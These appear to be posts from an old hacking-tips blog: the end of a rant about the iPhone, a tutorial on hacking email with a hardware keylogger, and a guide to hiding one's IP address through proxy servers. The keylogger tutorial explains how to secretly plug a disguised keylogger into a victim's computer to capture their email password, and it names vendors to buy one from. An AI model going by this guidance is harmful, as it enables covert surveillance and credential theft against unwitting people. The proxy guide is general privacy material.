THE BIGGEST ONE - ONCE YOU ARE ON 3G NETWORK(Which I suppose will happen in a year in India), YOU CANNOT MAKE CALLS TO A PHONE ON 2G NETWORK. SO IF YOU WANT TO CALL A PERSON WHO IS NOT HAVING A 3G PHONE. SORRY, YOU'LL HAVE TO FIND A PCO and a 1RUPEE!!!

These are some of the top reasons that shows iphone's incapability.But there are many more such reasons for you to stop buying an iphone.If you still want to buy the iphone then definitely you must be crazy?!

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How to Hack an Email using Hardware Keylogger ?

2008-09-21T19:11:00.017+05:30

Did you know that keyloggers are the simplest way to hack an email password?.Today i'll be giving you a detailed information on hardware keyloggers and their use.I will also teach how to use a hardware keylogger to hack an email.If you are new to the concept of keyloggers or haven't read my previous post about email hacking then you must refer my previous post Hacking an email account.Here i'll give a breif description about keyloggers.

A software keylogger (or simple keylogger) is a stealth computer program that captures every keystroke entered through the keyboard.

Now i'll tell you what is hardware keylogger and how it can be used for hacking an email.

Hardware Keyloggers are used for keystroke logging, a method of capturing and recording computer user keystrokes. They plug in between a computer keyboard and a computer and log all keyboard activity to an internal memory.They are designed to work with PS/2 keyboards, and more recently with USB keyboards.A hardware keylogger appears simply as a USB pendrive (thumb drive) or any other computer peripheral so that the victims can never doubt that it is a keylogger.So by looking at it's appearence it is not possible to identify it as a keylogger.Here are some of the images of hardware keyloggers for your convenience.

So by looking at the above images we can come to know that hardware keyloggers look just like any USB or PS/2 device.So it is very hard to identify it as a keylogger.

Insatalling a Hardware Keylogger to Hack the Email Password

The hardware keylogger must be installed between the keyboard plug and the USB or PS/2 port socket.That is you have to just plug in the keylogger to your keyboard's plug (PS/2 or USB) and then plug it to the PC socket.The following image shows how the keylogger is installed.

Once you install the hardware keylogger as shown in the above two images the keylogger starts recording each and every keystroke of the keyboard including email passwords and other confidential information.The hardware keylogger has an inbuilt memory in which the logs are stored.

Where to Buy Hardware Keyloggers?

You can use any of the following two sites to order a hardware keylogger

www.keyghost.com

www.keelog.com

Also there is a special keylogger available for Laptops/Notebook PCs.More information on these type of keyloggers can be found here.

Please express your opinion/questions through comments.

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Hide My IP - How to Hide the Real IP Address ?

2008-09-16T14:15:00.017+05:30

Here in this post I will try to give you every possible information about hiding the IP address.If you are really serious about hiding your IP address then this post is for you!

One of the most frequently asked questions by the internet users is How To Hide My IP Address ?. Many times it becomes necessary to hide the real IP address for the sake of privacy.For this I have tried most of the IP Hiding softwares, proxy servers and many such tools that guaranteed to hide my IP.But still none of them worked for me. I think most of you have the same experience.Are you fed up with these dummy softwares that fails to hide the real IP? Then is there any working way to hide the IP address?

YES, you can definitely hide your IP .

Now i'll come to the heart of the post, which contains the answer to your curious question How to Hide My IP ? The only solution to hide your IP address is by using a Proxy Server.But Wait! The story doesn't end here.Even though proxy servers are the only way to hide your IP there are several ways of connecting your PC to the proxy server.Before setting up the connection with the proxy servers you must know some information about different types of proxy servers and their uses.

1. Transparent Proxy Server
This type of proxy server identifies itself as a proxy server and also makes the original IP address available through the http headers. These are generally used to speedup the web browsing since thay have a very good ability to cache websites.But they do not provide any anonymity to it's users. It is widely known as transparent proxy because it will expose your real IP address to the web.This type of proxy server does not hide your IP address.

2. Anonymous Proxy Server
This type of proxy server identifies itself as a proxy server, but does not make the original IP address available. This type of proxy server is detectable, but provides reasonable anonymity for most users. This type of proxy server will hide your IP address.

3. Distorting Proxy Server
This type of proxy server identifies itself as a proxy server, but make an incorrect original IP address available through the http headers. This type of proxy server will hide your IP address.

4. High Anonymity Proxy Server ( Elite Proxy)
This type of proxy server does not identify itself as a proxy server and does not make available the original IP address. This type of proxy server will hide your IP address.

Which Proxy Server is the best to Hide My IP ?

I know, you can answer this question better than me.Obviously High Anonymity Proxy or Elite Proxy is the best for hiding your IP.But it's not easy to get a list of working elite proxies.If you search the Google, you will definitely get tons of proxy list.You'll get a list of proxies in the following format

IP:Port Number
Eg: 221.90.45.67:8080 (221.90.45.67 is the IP of the proxy server and 8080 is the port number)
But most of them don't work.Here are some of the problems/risks associated with using free proxies that are available on the internet.

Most of them do not work since the proxy servers frequently changes it's IP/Port number.

Even if you find a working proxy server it may be too slow.

Your privacy is not guaranteed since all your traffic is routed through the proxy server.

The administrators of the proxy servers may steal your valuable information such as passwords,SSN (Social security number),Credit Card details etc.

So with all these being the risks then how to find a Working,fast,Highly Anonymous and secured Proxy servers?

Now I will give a list of softwares that will really hide your IP address.I have tried many such softwares and have found only few of them working perfectly.Here is a list of working IP Hiding softwares that you can try.I have listed them in the order of their popularity

1. Hide The IP

Let's you choose the country,Type and speed of the proxy.Not so popular but personally I recommend this to the users.

2. Hide My IP

3. Hide IP NG

You can get more informations about these products on their respective homepages.

How to ensure that the IP is hidden ?

Before you hide your IP you can check your real IP by visiting the following site.

WhatIsMyIPAddress.Com

Once you get your real IP, switch on your IP hiding software.Now once again visit the above site and check your IP address.If you see a new IP then this means that your software is doing the right job.Also the aboce site(Whatismyipaddress.com) is capable of detecting many proxies.If you see the words such as "Suspected proxy server or network sharing device" or similar words then it means that the proxy you are using is not an Elite Proxy.

One Final Word before you leave! Even though Elite proxies are almost undetectable this doesn't mean that you can escape from online crimes by hiding your IP.There are many proxy detecting services available which detect almost any proxy.So if you involve in any cyber crimes then you will definitely be behind the bars.Using proxy will not help you in this case.

One More thing, It is unsafe to use proxy during e-commerce transactions such as Online banking,Online Credit Card payment etc.So please avoid proxies during these circumstances.

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